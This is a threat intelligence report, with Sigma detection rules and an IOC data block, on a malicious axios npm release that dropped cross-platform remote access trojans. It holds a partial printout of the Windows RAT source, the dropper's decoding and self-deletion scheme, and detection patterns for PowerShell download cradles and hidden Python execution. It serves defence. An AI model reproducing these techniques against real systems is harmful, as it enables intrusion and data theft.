"Identical User-Agent string to RustBucket: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)",
"NukeSped AV classification by 4 engines (Lazarus-exclusive family)",
"Hostwinds AS54290 same /18 as confirmed Lazarus IP 142.11.209.109 (Hunt.io)",
"Developer persona rotation consistent with BlueNoroff OPSEC"
]
},
"notes": {
"windshaper": "User reports overlap with WINDSHAPER malware (DPRK). Not yet publicly documented as a malware family name. Cryptocurrency theme via 'plain-crypto-js' package name aligns with DPRK targeting patterns.",
"registrant_verification": "Namecheap privacy hashes are per-registrant (verified by comparing starbucls.xyz RustBucket domain which has DIFFERENT hash b3e8b765589988d9)"
},
"corrections": {
"2026-03-31T14:00:00Z": "RETRACTED domain claims based on Namecheap registrant hash. Hash 37bfbc24cafea5d2 is a SHARED privacy placeholder, not per-account. namecheap.com itself has the same hash. Only callnrwise.com (same IP) remains confirmed.",
"2026-03-31T19:30:00Z": "CORRECTED: @shadanai and @qqbrowser.dev reclassified from 'attacker accounts' to 'likely downstream victims'. They vendored node_modules/ with compromised axios during the 3h attack window, not intentional malware distribution."
},
"advisories": {
"snyk": [
"SNYK-JS-AXIOS-15850650",
"SNYK-JS-PLAINCRYPTOJS-15850652",
"SNYK-JS-QQBROWSEROPENCLAWQBOT-15850776",
"SNYK-JS-SHADANAIOPENCLAW-15850775"
],
"ghsa": "GHSA-fw8c-xr5c-95f9",
"cwe": "CWE-506 (Embedded Malicious Code)",
"mal": "MAL-2026-2306"
},
"impact": {
"weekly_downloads": "83M+",
"dependent_packages": "174,000+",
"exposure_window": "~3 hours",
"execution_rate": "3% of affected environments (Wiz)",
"huntress_observation": "Over 100 affected devices observed (Huntress blog)",
"wiz_execution_rate": "3% of affected environments (Wiz)"
},
"sources": [
"https://socket.dev/blog/axios-npm-package-compromised",
"https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan",
"https://www.aikido.dev/blog/axios-npm-compromised-maintainer-hijacked-rat",
"https://safedep.io/axios-npm-supply-chain-compromise/",
"https://snyk.io/blog/axios-npm-package-compromised-supply-chain-attack-delivers-cross-platform/",
"https://www.wiz.io/blog/axios-npm-compromised-in-supply-chain-attack",
"https://www.huntress.com/blog/supply-chain-compromise-axios-npm-package",
"https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html",
"https://gist.github.com/joe-desimone/36061dabd2bc2513705e0d083a9673e7",
"https://www.sentinelone.com/blog/bluenoroff-how-dprks-macos-rustbucket-seeks-to-evade-analysis-and-detection/"
],
"detection_timeline": {
"2026-03-31T08:00Z": {
"macos_rat": "8/76",
"win_stage2": "12/76",
"win_stage1": "3/76",
"linux_rat": "0/76",
"setup_js": "2/76",
"sfrclak_com": "12/94",
"c2_ip": "2/94"
},
"2026-03-31T14:00Z": {
"macos_rat": "15/76 (+7)",
"win_stage2": "17/76 (+5)",
"win_stage1": "8/76 (+5)",
"linux_rat": "2/76 (+2, first detections)",
"setup_js": "4/76 (+2)",
"sfrclak_com": "16/94 (+4)",
"c2_ip": "8/94 (+6)"
},
"new_family_names": {
"Microsoft": "Backdoor:Mac/Axios.A",
"Qihoo360": "Trojan[Backdoor]/MacOS.ReiiYuki",
"Avira": "Python.Backdoor.Agent.Gkjl",
"Kaspersky_macOS": "UDS:Trojan.OSX.Agent",
"Kaspersky_linux": "UDS:Trojan.Python.Agent"
}
},
"external_reports": {
"malwarebazaar": "Sample uploaded by researcher smica83, tagged #Axios",
"threat_rip": "Score 100/100, DangerousObject.Multi",
"jaffacakes118": "Analysis available at jaffacakes118.dev"
},
"researcher_variants": {
"windows_payload_ps1": "6fbb418b08f8b0511dbac05fc942676d16fc632eccb99b9c72dc5c9300f3c14b",
"evil_ps1_v1": "46f5eea70d536f7affe40409d7aaa5fa0009f0dc4538ba2867cb7569737db859",
"evil_ps1_v2": "8c8f5f095d65d3f33ce89a77dfbe84a79bb29d2e0073a57a23dcc014d0683c2e",
"note": "Researcher-submitted variants of the Windows PowerShell RAT with minor formatting differences. Same functionality."
}
}
# Axios npm Supply Chain Compromise - Sigma Detection Rules
# Date: 2026-03-31
# Reference: https://gist.github.com/N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6
title: Axios RAT - Windows Registry Persistence
id: a1b2c3d4-e5f6-7890-abcd-ef0123456789
status: experimental
description: Detects the axios supply chain RAT setting MicrosoftUpdate registry persistence
author: Automated Analysis
date: 2026/03/31
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|endswith: '\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate'
Details|contains: 'system.bat'
condition: selection
level: high
tags:
- attack.persistence
- attack.t1547.001
falsepositives:
- Legitimate software named MicrosoftUpdate (unlikely)
---
title: Axios RAT - PowerShell Download Cradle via scriptblock::Create
id: b2c3d4e5-f6a7-8901-bcde-f01234567890
status: experimental
description: Detects the axios RAT fileless download pattern using scriptblock::Create
author: Automated Analysis
date: 2026/03/31
logsource:
category: ps_script
product: windows
detection:
selection:
ScriptBlockText|contains|all:
- 'scriptblock]::Create'
- 'Invoke-WebRequest'
- 'packages.npm.org/product'
condition: selection
level: critical
tags:
- attack.execution
- attack.t1059.001
- attack.t1105
---
title: Axios RAT - system.bat Dropped to ProgramData
id: c3d4e5f6-a7b8-9012-cdef-012345678901
status: experimental
description: Detects PowerShell dropping system.bat to C:\ProgramData (axios RAT persistence)
author: Automated Analysis
date: 2026/03/31
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\wt.exe'
TargetFilename: 'C:\ProgramData\system.bat'
condition: selection
level: high
tags:
- attack.persistence
- attack.t1547.001
---
title: Axios RAT - Renamed PowerShell Binary (wt.exe LOLBin)
id: d4e5f6a7-b8c9-0123-defa-123456789012
status: experimental
description: Detects PowerShell binary copied to wt.exe in ProgramData (axios RAT evasion)
author: Automated Analysis
date: 2026/03/31
logsource:
category: process_creation
product: windows
detection:
selection:
Image: 'C:\ProgramData\wt.exe'
CommandLine|contains:
- '-w hidden'
- '-ep bypass'
condition: selection
level: critical
tags:
- attack.defense_evasion
- attack.t1036
---
title: Axios RAT - Process Injection via Extension.SubRoutine
id: e5f6a7b8-c9d0-1234-efab-234567890123
status: experimental
description: Detects .NET reflective loading of Extension.SubRoutine injector DLL
author: Automated Analysis
date: 2026/03/31
logsource:
category: ps_script
product: windows
detection:
selection:
ScriptBlockText|contains|all:
- 'Extension.SubRoutine'
- 'Run2'
- 'Assembly]::Load'
condition: selection
level: critical
tags:
- attack.defense_evasion
- attack.t1055.001
- attack.t1620
---
title: Axios RAT - macOS com.apple.act.mond Masquerading
id: f6a7b8c9-d0e1-2345-fabc-345678901234
status: experimental
description: Detects the axios macOS RAT masquerading as Apple Activity Monitor daemon
author: Automated Analysis
date: 2026/03/31
logsource:
category: process_creation
product: macos
detection:
selection:
Image|endswith: '/com.apple.act.mond'
filter:
Image|startswith: '/System/'
condition: selection and not filter
level: critical
tags:
- attack.defense_evasion
- attack.t1036
---
title: Axios RAT - Linux Python RAT Execution
id: a7b8c9d0-e1f2-3456-abcd-456789012345
status: experimental
description: Detects the axios Linux RAT execution pattern (nohup python3 /tmp/ld.py)
author: Automated Analysis
date: 2026/03/31
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains|all:
- 'python3'
- '/tmp/ld.py'
selection2:
CommandLine|contains|all:
- 'nohup'
- 'python3'
- '/tmp/'
- '/dev/null'
condition: selection or selection2
level: high
tags:
- attack.execution
- attack.t1059.006
---
title: Axios RAT - npm postinstall Dropper Execution
id: b8c9d0e1-f2a3-4567-bcde-567890123456
status: experimental
description: Detects npm postinstall executing setup.js (axios supply chain dropper)
author: Automated Analysis
date: 2026/03/31
logsource:
category: process_creation
product: windows
detection:
selection:
ParentCommandLine|contains: 'npm'
CommandLine|contains|all:
- 'node'
- 'setup.js'
condition: selection
level: medium
tags:
- attack.execution
- attack.t1059.007
- attack.t1195.002

Axios NPM Supply Chain Compromise — Verified Threat Intelligence Report

Date: 2026-03-31 | Last Updated: 2026-03-31 11:00 UTC Classification: CRITICAL — Active Supply Chain Attack TLP: CLEAR Analyst: Automated Analysis (Claude Code) — Independent Verification Pass Status: Incident contained (~3h exposure window), investigation ongoing

Table of Contents

Changelog

Date Update
2026-03-31 07:00 Initial report from remote teleport session
2026-03-31 08:30 Independent VT verification of all hashes
2026-03-31 09:00 Linux hash corrected (SafeDep), new IOCs added
2026-03-31 09:30 Full payload download + static analysis in Lima VM
2026-03-31 10:00 radare2 RE of macOS Mach-O, Node.js deobfuscation of setup.js
2026-03-31 10:30 Zenbox memory dump analysis (47MB, 1,435 files, 12 PE extractions)
2026-03-31 11:00 Extension.SubRoutine DLL recovery attempt — NOT recoverable from available dumps

1. Executive Summary

On March 30-31, 2026, the npm package axios (~83M weekly downloads, 174K dependent packages) was compromised through a maintainer account hijack. The attacker published two malicious versions — axios@1.14.1 and axios@0.30.4 — injecting a dependency on plain-crypto-js@4.2.1, a weaponized package containing an obfuscated JavaScript dropper (setup.js) that executes via the npm postinstall lifecycle hook.

The dropper deploys platform-specific Remote Access Trojans targeting Windows, macOS, and Linux. The macOS RAT is classified as NukeSped by 4 independent AV engines — a malware family exclusively attributed to the Lazarus Group (DPRK/APT38).

Key Facts

Attribute Detail
Compromised package axios (versions 1.14.1 and 0.30.4)
Malicious dependency plain-crypto-js@4.2.1
C2 server sfrclak[.]com:8000 (142.11.206.73)
C2 tech stack Express.js (confirmed via URLScan X-Powered-By: Express)
Hosting Hostwinds LLC, Seattle WA (AS54290)
Registrar Namecheap Inc. (privacy via Withheld for Privacy ehf, Iceland)
Attribution Suspected Lazarus Group (DPRK) — NukeSped classification + TTP alignment
Exposure window ~2h53m (axios@1.14.1), ~2h15m (axios@0.30.4)
Detection speed Socket.dev flagged plain-crypto-js within 6 minutes of publish

Attack Timeline (UTC)

Timestamp Event
2026-03-27 19:01 Legitimate axios@1.14.0 published via GitHub Actions OIDC
2026-03-30 05:57 plain-crypto-js@4.2.0 published by nrwise — clean decoy
2026-03-30 16:03 Domain sfrclak.com registered via Namecheap
2026-03-30 23:59 plain-crypto-js@4.2.1 published — weaponized with setup.js
2026-03-31 00:05:41 Socket automated detection fires (6 minutes)
2026-03-31 00:21 axios@1.14.1 published via compromised jasonsaayman account
2026-03-31 01:00 axios@0.30.4 published (39 min after first malicious release)
2026-03-31 01:04 @shadanai/openclaw@2026.3.28-2 published (vendored malware)
2026-03-31 01:05 macOS RAT first submitted to VirusTotal
2026-03-31 02:21 @qqbrowser/openclaw-qbot@0.0.130 published (ships tampered axios)
2026-03-31 ~03:15 npm unpublishes both malicious axios versions
2026-03-31 03:25 npm security hold on plain-crypto-js

Notable: Clean decoy plain-crypto-js@4.2.0 was published ~18 hours before the C2 domain was registered — pre-staged operational planning.


2. Attack Vector & Delivery

2.1 Account Compromise

The attacker hijacked npm account "jasonsaayman" (lead axios maintainer) and changed the email to ifstap@proton.me (original: jasonsaayman@gmail.com). A separate npm account "nrwise" (nrwise@proton.me) was used to publish plain-crypto-js. Both accounts now suspended.

Compromise method: Not definitively determined. The account used a long-lived classic npm access token alongside OIDC Trusted Publishing. This token allowed publishing without OIDC binding and potentially bypassed 2FA. Pattern consistent with the qix npm compromise of September 2025 (maintainer phished via fake npmjs.help domain).

2.2 Supply Chain Injection

axios@1.14.1  ──depends on──>  plain-crypto-js@4.2.1
axios@0.30.4  ──depends on──>  plain-crypto-js@4.2.1

Both the 1.x and 0.x release branches poisoned within 39 minutes, maximizing blast radius.

2.3 The setup.js Dropper

Attribute VT-Verified Value
SHA256 e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
SHA1 b0e0f12f1be57dc67fa375e860cedd19553c464d
MD5 7658962ae060a222c0058cd4e979bfa1
Size 4,209 bytes
Type JavaScript (minified, single line)
Detection 2/76
VT Tags long-sleeps, obfuscated, javascript
First Submitted 2026-03-31 04:19:15 UTC
Trigger npm postinstallnode setup.js

Obfuscation: Two-layer scheme:

  1. _trans_2: String reversal → underscore-to-equals → Base64 decode
  2. _trans_1: XOR cipher with key "OrDeR_7077" and constant 333
    • Letter chars → NaN → 0 in bitwise ops → effective key: [0,0,0,0,0,0,7,0,7,7]
    • Index selection: (7 × i²) % 10

Platform discrimination via POST body:

POST Body Platform Payload
packages.npm.org/product0 macOS Mach-O universal binary
packages.npm.org/product1 Windows PowerShell script
packages.npm.org/product2 Linux Python script

Anti-forensics (self-destruction):

  1. fs.unlink(__filename) — deletes setup.js
  2. Deletes malicious package.json (contains postinstall hook)
  3. Renames pre-staged clean package.mdpackage.json
    • 36-second gap between writes confirmed by StepSecurity Harden-Runner capture

2.4 Secondary Compromised Packages

Package Publisher Method
@shadanai/openclaw (v2026.3.28-2/3, .31-1/2) shadanai (qupintu@gmail.com) Vendored plain-crypto-js in package
@qqbrowser/openclaw-qbot@0.0.130 qqbrowser.dev (impersonating Tencent) Ships tampered axios@1.14.1 in node_modules

3. Windows Payload Analysis

3.1 Stage 1 — Download Cradle

Attribute VT-Verified Value
SHA256 f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd
SHA1 978407431d75885228e0776913543992a9eb7cc4
MD5 089e2872016f75a5223b5e02c184dfec
Size 265 bytes
Type PowerShell
Detection 3/76
VT Label trojan.powershell
VT Tags detect-debug-environment, powershell, long-sleeps
First Submitted 2026-03-31 02:26:44 UTC
VT Name C:\ProgramData\system.bat

Fileless download cradle: Fetches Stage 2 from C2, executes entirely in-memory via [scriptblock]::Create().

3.2 Stage 2 — PowerShell RAT

Attribute VT-Verified Value
SHA256 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
SHA1 a90c26e7cbb3440ac1cad75cf351cbedef7744a8
MD5 04e3073b3cd5c5bfcde6f575ecf6e8c1
Size 11,042 bytes (382 lines)
Type PowerShell
Detection 12/76
VT Label trojan.boxter/powershell
VT Tags powershell, long-sleeps, detect-debug-environment, calls-wmi, persistence
First Submitted 2026-03-31 02:52:21 UTC
Sandbox Verdict Zenbox: malicious (confidence 68), classification: MALWARE + EVADER

RAT commands: kill, peinject (reflective DLL + process hollowing into cmd.exe), runscript, rundir

Sandbox-confirmed behaviors (Sigma rules triggered):

  • Suspicious PowerShell Invocations - Specific (HIGH)
  • HackTool - Powerup Write Hijack DLL (HIGH) — drops C:\ProgramData\system.bat
  • CurrentVersion Autorun Keys Modification (MEDIUM) — HKCU\...\Run\MicrosoftUpdate
  • Suspicious PowerShell WindowStyle Option (MEDIUM)
  • Usage Of Web Request Commands And Cmdlets (MEDIUM)
  • Potential Binary Or Script Dropper Via PowerShell (MEDIUM)
  • Suspicious WSMAN Provider Image Loads (MEDIUM)
  • PowerShell Script With File Upload Capabilities (LOW)

Sandbox-captured source code (partial):

$url = $args[0]
$uid = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_})
$username = $env:USERNAME
$hostname = $env:COMPUTERNAME
$timezone = "(UTC" + $((Get-TimeZone).BaseUtcOffset.TotalHours) + " hours) " + $((Get-TimeZone).StandardName)
$bootTime = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
...

3.3 Windows Persistence File

Attribute VT-Verified Value
SHA256 e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff
SHA1 ae39c4c550ad656622736134035f17ca7a66a742
MD5 8c782b59a786f18520673e8d669e3b0a
Size 203 bytes
Type PowerShell
Detection 1/76
VT Tags powershell, detect-debug-environment
First Submitted 2026-03-31 00:45:40 UTC
VT Name system.bat

4. macOS Payload Analysis — NukeSped RAT

Attribute VT-Verified Value
SHA256 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
SHA1 13ab317c5dcab9af2d1bdb22118b9f09f8a4038e
MD5 7a9ddef00f69477b96252ca234fcbeeb
Size 657,424 bytes (642 KB)
Type Mach-O fat binary (universal: x86_64 + ARM64)
Detection 8/76
VT Label trojan.nukesped
VT Tags arm, multi-arch, macho, 64bits
VHASH 5888402d25bc5f77c7c3d92ca5d30997
First Submitted 2026-03-31 01:05:29 UTC
Known Names malicious.txt, evil.bin.txt, com.apple.act.mond, mond, sample.bin

AV Detection Consensus (VT-verified)

Engine Detection
AVG MacOS:Nukesped-C [Drp]
Avast MacOS:Nukesped-C [Drp]
Avira OSX/GM.NukeSped.HX
F-Secure Malware.OSX/GM.NukeSped.HX
Microsoft Trojan:Script/Wacatac.C!ml
Cynet Malicious (score: 99)
Symantec OSX.Trojan.Gen
McAfee Artemis

Major EDRs that MISS this sample: CrowdStrike, SentinelOne, ESET, Kaspersky, Sophos, TrendMicro, Elastic, Malwarebytes.

Build Artifacts (Attribution Markers)

  • Xcode project: macWebT
  • Build path: /Users/mac/Desktop/Jain_DEV/client_mac/macWebT/macWebT/
  • Developer alias: Jain_DEV — not found in any prior Lazarus samples
  • Libraries: libSystem.B.dylib, libc++.1.dylib, libcurl.4.dylib
  • Code signing: Ad-hoc (no valid Apple developer certificate)

RAT Capabilities

  1. Remote Command Execution — receives Base64-encoded payloads, writes to /private/tmp/.XXXXXX, ad-hoc codesigns (codesign --force --deep --sign -), executes
  2. AppleScript Execution — arbitrary AppleScript via osascript
  3. System Reconnaissance — process listing, hardware profiling, user enumeration via /etc/master.passwd
  4. Data Exfiltration — collected data sent via Report() over HTTPS

C2 Communication (macOS-specific)

  • NOTE: api.apple-cloudkit.com is LEGITIMATE Apple infrastructure (confirmed: CNAME → api.apple-cloudkit.fe2.apple-dns.net, resolves to Apple's 17.x.x.x range). The RAT likely uses it as a connectivity check / traffic blending technique, not as a C2 endpoint.
  • Actual C2: sfrclak[.]com:8000 (same as other platforms)
  • User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) — IE8/WinXP (anomalous for macOS)

JA3 Fingerprints

JA3 Hash Notes
656b9a2f4de6ed4909e157482860ab3d Not in any public threat intel DB
1d9437ff1aa1e958ed34a0fb0313f206 Not in any public threat intel DB
773906b0efdefa24a7f2b8eb6985bf37 Identified as Safari 15.5 — deliberate TLS impersonation

5. Linux Payload Analysis — Python RAT

Attribute VT-Verified Value
SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
SHA1 59faac136680104948e083b3b67a70af9bfa5d5e
MD5 9663665850cdd8fe12e30a671e5c4e6f
Size 12,323 bytes
Type Python
Detection 2/76 (initially 0/76, Kaspersky + Avira added detection)
VT Tags python
First Submitted 2026-03-31 02:52:31 UTC
Sandbox Verdict Zenbox: harmless (confidence 99) — evaded sandbox
Known Names ld.py, sample2.txt

NOTE: The hash provided in the original briefing (fcb81618bb15edfedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf) was truncated — missing a d at position 16. The correct sequence is edfdedfb, not edfedfb. Source: SafeDep.

Capabilities (from OSINT)

  • 60-second beacon interval
  • Credential harvesting: .ssh/, .aws/, environment tokens
  • File exfiltration
  • Arbitrary command execution
  • StepSecurity observed C2 callback 36 seconds after setup.js execution
  • Process orphaned to PID 1 via nohup (labeled "infra" in process tree)

Platform Comparison

Attribute Linux Windows macOS
Language Python 3 PowerShell C++ (Mach-O)
Size 12,323 bytes 11,042 bytes 657,424 bytes
Detection 2/76 17/76 15/76
Sandbox Evasion Yes (Zenbox: clean) Partial Not sandboxed
Drop Path /tmp/ld.py %TEMP%\6202033.ps1 /Library/Caches/com.apple.act.mond
Persistence nohup (PID 1 orphan) Registry Run key LaunchAgent (inferred)

6. C2 Infrastructure

Domain: sfrclak[.]com (VT-verified)

Attribute Value
Registrar NAMECHEAP INC (IANA ID: 1068)
Created 2026-03-30 16:03:46 UTC
Expires 2027-03-30
Privacy Withheld for Privacy ehf (Reykjavik, Iceland)
A Record 142.11.206.73
VT Detection 12/94 malicious, 1 suspicious
Categories Sophos: "spyware and malware"
Status DNS still resolving, all ports refusing connections

IP: 142.11.206.73 (VT-verified)

Attribute Value
ASN AS54290 (Hostwinds LLC)
Location Seattle, WA, US
CIDR 142.11.192.0/18
Reverse DNS hwsrv-1320779.hostwindsdns.com
JARM 28d28d28d00028d00028d28d28d28d96d86b34e11c2d3d5508f7111adf9d91
VT Detection 2/94 malicious
Last HTTPS Cert Let's Encrypt E5, CN=www.flowersforthenewgen.com (expired 2024-11-23 — previous tenant)

VT-Confirmed Communicating Files (from IP 142.11.206.73)

File SHA256 Detection
setup.js e10b1fa... 2/76
system.bat f7d3352... 3/76

URLScan.io Data

  • 13 scans recorded March 31, 2026
  • C2 server tech: Express.js (X-Powered-By: Express)
  • One scan captured a 192KB payload response
  • Response payload hash: e0829aff46c24415fc9b8a346d617ca5877b53cdd80e7a0f92dd877499fbebfe (184,647 bytes) — not on VT
  • Server returning HTTP 500 Internal Server Error in later scans (C2 shutdown)
  • CORS: wide-open (Access-Control-Allow-Origin: *)

Hostwinds AS54290 — Lazarus Infrastructure History

CONFIRMED Lazarus presence on the same ASN:

  • Hunt.io (Jan 2025): 142.11.209.109 (same /18 netblock!) linked to 12 Lazarus-associated IPs via certificate subject hwc-hwp-7779700
  • Validin: willointerview[.]com (Lazarus "Contagious Interview") resolved to Hostwinds IP
  • Red Asgard (Jan 2026): Lazarus C2 infrastructure using dedicated Hostwinds servers
  • Quote from Validin: "Use of the Hostwinds ASN dedicated servers is a common tactic in Lazarus campaigns."

Campaign ID: /6202033

  • Used as URL path, Windows temp file names (6202033.vbs, 6202033.ps1), and macOS temp file
  • Possibly encodes reversed date: 33020263-30-2026 (date sfrclak.com was registered)
  • No prior appearances in any other campaign

7. Attribution Assessment

Evidence FOR Lazarus Group

Indicator Strength
NukeSped AV classification (4 independent engines) STRONG — NukeSped is Lazarus-exclusive
Hostwinds AS54290 (same /18 as confirmed Lazarus IP 142.11.209.x) STRONG
npm supply chain attack pattern STRONG — documented Lazarus TTP (Contagious Interview, TraderTraitor)
Cross-platform RAT (macOS C++/Windows PS/Linux Python) STRONG — matches MATA framework pattern
macOS: libcurl C2, Apple path mimicry, ad-hoc codesigning STRONG — matches Dacls/AppleJeus TTPs
Fake IE8/WinXP User-Agent on macOS MODERATE — seen in DPRK tools
JA3 mimicking Safari 15.5 MODERATE — indicates nation-state TLS tradecraft
Short-lived infrastructure, same-day provisioning MODERATE — consistent with Lazarus tempo
Operational sophistication (18h staging, dual-branch, anti-forensics) MODERATE — state-level resources

Evidence AGAINST / Caveats

Indicator Significance
"Jain_DEV" build artifact — unprecedented in Lazarus samples Notable — could be new persona or false flag
No cryptocurrency theft components (atypical for Lazarus) Moderate — but espionage-focused ops exist
Novel XOR key "OrDeR_7077" — no prior Lazarus match Minor — TTPs evolve
Olympic Destroyer precedent — false flags are possible Theoretical — rare in practice
NukeSped classification may be heuristic, not code-overlap Technical caveat
No formal vendor attribution yet (attack <24h old) Temporal

Confidence: MODERATE-TO-HIGH for Lazarus Group

The NukeSped classification combined with Hostwinds AS54290 infrastructure overlap and extensive TTP alignment provides strong circumstantial evidence. Definitive attribution requires deeper binary analysis comparing code artifacts against classified sample repositories.


8. MITRE ATT&CK Mapping

Tactic ID Technique Details
Initial Access T1195.002 Supply Chain: Software Dependencies Compromised axios npm package
Execution T1059.001 PowerShell Windows Stage 1+2 RAT
Execution T1059.002 AppleScript macOS dropper + RAT
Execution T1059.006 Python Linux RAT
Execution T1059.005 Visual Basic Windows VBS intermediary
Execution T1059.007 JavaScript setup.js postinstall dropper
Persistence T1547.001 Registry Run Keys MicrosoftUpdatesystem.bat
Persistence T1543.004 Launch Daemon/Agent macOS com.apple.act.mond (inferred)
Defense Evasion T1036 Masquerading wt.exe, com.apple.act.mond, MicrosoftUpdate
Defense Evasion T1553.002 Code Signing Subversion Runtime ad-hoc codesigning
Defense Evasion T1140 Deobfuscate/Decode XOR + reversed Base64
Defense Evasion T1027 Obfuscated Files Minified JS, in-memory PS
Defense Evasion T1070.004 File Deletion setup.js self-deletion
Discovery T1082 System Information WMI queries, OS profiling
Discovery T1057 Process Discovery Win32_Process, ps -eo
Discovery T1083 File/Directory Discovery Recursive enumeration
C2 T1071.001 Web Protocols HTTP/HTTPS C2
C2 T1105 Ingress Tool Transfer Download cradle pattern
Exfiltration T1041 Exfiltration Over C2 JSON-encoded data POST

9. Indicators of Compromise

9.1 File Hashes — VT-Verified

File SHA256 SHA1 MD5 Size Det.
setup.js (dropper) e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 b0e0f12f1be57dc67fa375e860cedd19553c464d 7658962ae060a222c0058cd4e979bfa1 4,209 2/76
system.bat (Win Stage 1) f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd 978407431d75885228e0776913543992a9eb7cc4 089e2872016f75a5223b5e02c184dfec 265 3/76
PS RAT (Win Stage 2) 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 a90c26e7cbb3440ac1cad75cf351cbedef7744a8 04e3073b3cd5c5bfcde6f575ecf6e8c1 11,042 12/76
com.apple.act.mond (macOS) 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a 13ab317c5dcab9af2d1bdb22118b9f09f8a4038e 7a9ddef00f69477b96252ca234fcbeeb 657,424 8/76
ld.py (Linux) fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 59faac136680104948e083b3b67a70af9bfa5d5e 9663665850cdd8fe12e30a671e5c4e6f 12,323 0/76
system.bat (persistence) e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff ae39c4c550ad656622736134035f17ca7a66a742 8c782b59a786f18520673e8d669e3b0a 203 1/76
plain-crypto-js-4.2.1.tgz 58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668 07d889e2dadce6f3910dcbc253317d28ca61c766 db7f4c82c732e8b107492cae419740ab 89,868 2/76
axios-1.14.1.tgz 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd 2553649f2322049666871cea80a5d0d6adc700ca 21d2470cae072cf2d027d473d168158c 630,301 1/76

9.2 Hashes NOT on VirusTotal

Hash Source
59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f axios@0.30.4 tarball (SafeDep) — not on VT
e0829aff46c24415fc9b8a346d617ca5877b53cdd80e7a0f92dd877499fbebfe C2 response payload, 184KB (URLScan) — not on VT
a224dd73b7ed33e0bf6a2ea340c8f8859dfa9ec5736afa8baea6225bf066b248 Shellcode payload 1 (sandbox) — not on VT
5e2ab672c3f98f21925bd26d9a9bba036b67d84fde0dfdbe2cf9b85b170cab71 Shellcode payload 2 (sandbox) — not on VT

9.3 Network IOCs

Type Indicator Context
Domain sfrclak[.]com Primary C2
IP 142.11.206.73 C2 server
URL http://sfrclak[.]com:8000/6202033 Payload endpoint
Port 8000 (HTTP) C2 listener
User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) All platforms
rDNS hwsrv-1320779.hostwindsdns.com C2 server hostname

9.4 Host-Based IOCs

File Paths:

Platform Path
All node_modules/plain-crypto-js/setup.js (self-deletes)
Windows C:\ProgramData\system.bat, C:\ProgramData\wt.exe
Windows %TEMP%\6202033.vbs, %TEMP%\6202033.ps1
macOS /Library/Caches/com.apple.act.mond
Linux /tmp/ld.py

Registry (Windows):

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate = C:\ProgramData\system.bat

9.5 Fuzzy Hashes (VT-verified)

setup.js: SSDEEP: 96:V0BwY31H/x2Nov7NMUtjlNU0kCsSuckO6Jg5yD8pm:V07H/x2NSBNxjl4S9t5yopm macOS RAT: SSDEEP: 6144:xjazCtUlrLxJnzsOOAx2Y+AktJgRESAtxVZS63vYdCzsbAkuNjepym:xjazCtyJcYKgRESAT93AdUjepym Win Stage 2: SSDEEP: 192:b9u9gG89mD+SOzuahCnGX1pybp0j5PWFmFBiMluIY26qb7cTOXAWumPTvCfuYRNI:b4KG8MwzuaEnGDPWFsBiM9Yy/LCfj7H6

9.6 npm Packages

Package Version SHA1 Status
axios 1.14.1 2553649f232204966871cea80a5d0d6adc700ca Compromised (unpublished)
axios 0.30.4 d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 Compromised (unpublished)
plain-crypto-js 4.2.1 07d889e2dadce6f3910dcbc253317d28ca61c766 Malicious (security hold)
plain-crypto-js 4.2.0 Clean decoy
axios 1.14.0 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb Safe baseline

9.7 Attacker Accounts

Account Email Status
npm: jasonsaayman (hijacked) ifstap@proton.me Suspended
npm: nrwise (created) nrwise@proton.me Suspended
npm: shadanai qupintu@gmail.com Active (publishes @shadanai/openclaw)
npm: qqbrowser.dev qqbrowser.dev.team@gmail.com Active (impersonates Tencent)

10. Detection & Hunting Recommendations

10.1 Immediate Actions

# Check if affected
npm list axios | grep -E "1\.14\.1|0\.30\.4"
npm list plain-crypto-js
# Check package-lock.json history
git log -p -- package-lock.json | grep plain-crypto-js

Block at DNS/proxy: sfrclak.com Block at firewall: 142.11.206.73 (all ports)

10.2 Host-Based Detection

Windows:

  • Hunt for C:\ProgramData\system.bat or C:\ProgramData\wt.exe
  • Registry: HKCU\...\Run\MicrosoftUpdate
  • PowerShell with -w h spawned by cmd.exe or cscript.exe
  • .NET Assembly::Load() targeting Extension.SubRoutine

macOS:

  • Process com.apple.act.mond (NOT a legitimate Apple binary)
  • LaunchAgent/LaunchDaemon plists referencing com.apple.act.mond
  • osascript spawned by non-Apple parents
  • codesign operations on files in /private/tmp/

Linux:

  • /tmp/ld.py
  • Orphaned python3 processes with parent PID 1
  • curl POSTing to port 8000

